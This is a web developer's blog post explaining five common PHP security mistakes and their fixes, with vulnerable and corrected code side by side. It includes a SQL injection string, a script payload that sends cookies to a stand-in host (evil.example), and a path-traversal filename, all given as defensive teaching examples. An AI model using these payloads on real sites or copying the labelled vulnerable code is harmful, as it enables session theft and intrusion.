Development Tips

PHP Security in 2026: 5 Mistakes That Still Get Sites Hacked

By Ken Key Aug 26, 2024 5 min read Updated Oct 16, 2026

PHP Security in 2026: 5 Mistakes That Still Get Sites Hacked
The short answer

Most PHP breaches in 2026 still come down to five things: SQL built by string concatenation, unescaped output causing XSS, unsafe file uploads, weak password hashing, and exposed debug or config data. Fix them with prepared statements, htmlspecialchars() on output, strict upload validation, passwordhash(), and errors off in production.

Part of the complete web development guide.

On this page

Most PHP sites don’t get hacked by geniuses. They get hacked because someone left a query string concatenated, forgot to escape output, or trusted a file upload. I’ve cleaned up enough of these to know the pattern. Here are the five mistakes I still see in 2026, why they matter, and the code that fixes them.

1. String-concatenated SQL queries

This is the oldest bug in the book and it’s still the most common. If user input touches a SQL string, you have a problem.

// Bad. Do not do this.
$email = $_POST['email'];
$result = $pdo->query("SELECT * FROM users WHERE email = '$email'");

A value like ' OR '1'='1 turns that into a query that returns every user. Worse payloads drop tables or read the mysql.user table. The fix is prepared statements with bound parameters, and it’s been the right answer since forever:

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$user = $stmt->fetch();

If you’re on mysqli, use $stmt->bind_param(). If you’re on an ORM, you’re probably fine, but check the raw query escape hatches. Every framework has one and every codebase has someone using it wrong.

One more thing people miss: identifiers (table names, column names, ORDER BY clauses) can’t be bound as parameters. If you’re building those from user input, whitelist them against a known array. Never interpolate.

2. Echoing user data without escaping

Cross-site scripting (XSS) is what happens when you print something a user typed straight into HTML. A comment field, a profile name, a search term reflected on the results page. Any of them can carry a script tag.

// Bad.
echo "<p>Welcome back, " . $user['name'] . "</p>";

If that name is <script>fetch('https://evil.example/steal?c='+document.cookie)</script>, you’ve just handed your session cookies to someone else. Escape on output, every time, for every context:

echo '<p>Welcome back, ' . htmlspecialchars($user['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '</p>';

The ENT_QUOTES flag covers both single and double quotes. ENT_SUBSTITUTE handles malformed UTF-8 instead of returning an empty string. And note the context matters: HTML escaping does nothing for a value going inside a <script> block or an href. For JavaScript contexts, use json_encode() with the right flags. For URLs, use rawurlencode().

If you’re writing templates, most engines (Twig, Blade, Latte) auto-escape by default. The bug is almost always in the one place someone added a “raw” or “safe” filter because they wanted to render some HTML. Audit those.

3. Trusting uploaded files

File uploads are where a lot of PHP sites quietly fall over. The mistake is trusting the filename or the MIME type the browser sends.

// Bad. Trusts the client completely.
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);

That code will happily write shell.php into a web-accessible directory. If your server executes PHP in that folder, game over. Even if it doesn’t, a crafted filename like ../../config.php can overwrite files outside the uploads directory.

What actually works in 2026:

  • Validate the real MIME type with finfo_file(), not $_FILES['file']['type'].
  • Generate your own filename. Keep the extension from a whitelist, never from the user.
  • Store uploads outside the web root, or in a directory with PHP execution disabled.
  • Set a size limit and check $_FILES['file']['error'] before doing anything else.
$allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'image/webp' => 'webp'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);

if (!isset($allowed[$mime])) {
 throw new RuntimeException('Unsupported file type.');
}

$name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];
move_uploaded_file($_FILES['file']['tmp_name'], '/var/uploads/' . $name);

The random_bytes() call matters. Sequential filenames leak how many uploads you have and make enumeration trivial.

4. Sessions with no hardening

Default PHP sessions are workable but lazy. A few settings in php.ini or a bootstrap file close most of the gaps:

session_set_cookie_params([
 'lifetime' => 0,
 'path' => '/',
 'secure' => true, // HTTPS only
 'httponly' => true, // no JS access
 'samesite' => 'Lax', // or 'Strict' if you can
]);
session_start();

secure keeps the cookie off plain HTTP. httponly means a successful XSS can’t read it. samesite kills most cross-site request forgery without any extra code. Call session_regenerate_id(true) right after a user logs in so a session ID captured before authentication is useless afterward.

Also set session.use_strict_mode = 1. Without it, PHP will accept a session ID it never generated, which is how session fixation attacks work.

5. Running old PHP

This one isn’t a code bug, it’s a maintenance bug, and it’s the one that gets people. PHP 7.4 went end-of-life in 2022. PHP 8.0 and 8.1 are both EOL now. If you’re still on any of those, you’re running a language runtime that no longer receives security patches. Every CVE published against it after the EOL date is a permanent hole on your server.

In 2026 the supported versions are 8.2, 8.3, and 8.4, with 8.5 landing late last year. The upgrade path from 7.x to 8.x is usually less painful than people fear, but it’s not free. Dynamic properties are deprecated, some string/array functions changed behavior, and anything using create_function() is broken outright. Run your test suite, fix the deprecation warnings, and stage the change.

If you’re on shared hosting that won’t let you pick a PHP version, that’s your sign to move. Any host worth using in 2026 lets you set the version per site.

Where to start

You don’t need to fix everything today. If I’m auditing a site, I check in this order:

  • What PHP version is it running, and is it supported?
  • Are there any raw SQL strings with variables in them?
  • Is anything echoing user input without escaping?
  • Can someone upload a file and get it executed?
  • Are session cookies marked Secure, HttpOnly, and SameSite?

Those five checks catch the vast majority of real-world PHP compromises. If you’d rather not do the audit yourself (or you’re not sure what you’re looking at), this is exactly the kind of work I do through custom web development for clients around Commack and the rest of Long Island. A half-day review usually finds something.

FAQ

Is prepared statements enough to stop SQL injection completely?

For values, yes. For anything structural (table names, column names, ORDER BY direction), no, because those can’t be bound. Those need to be whitelisted against a fixed list in your code.

Do I still need to escape output if I’m using a templating engine?

Usually not, because the engine escapes by default. But every engine has a raw/safe filter, and one use of it in the wrong place reintroduces the bug. Grep for those filters in your templates.

What’s the minimum PHP version I should be running in 2026?

8.2 at the absolute lowest, since it still gets security fixes. 8.3 or 8.4 is the better target. Anything below 8.2 is unpatched and should be treated as an active risk.

Have a project like this?

I do custom web development for Long Island businesses. If you need this done right, let’s talk.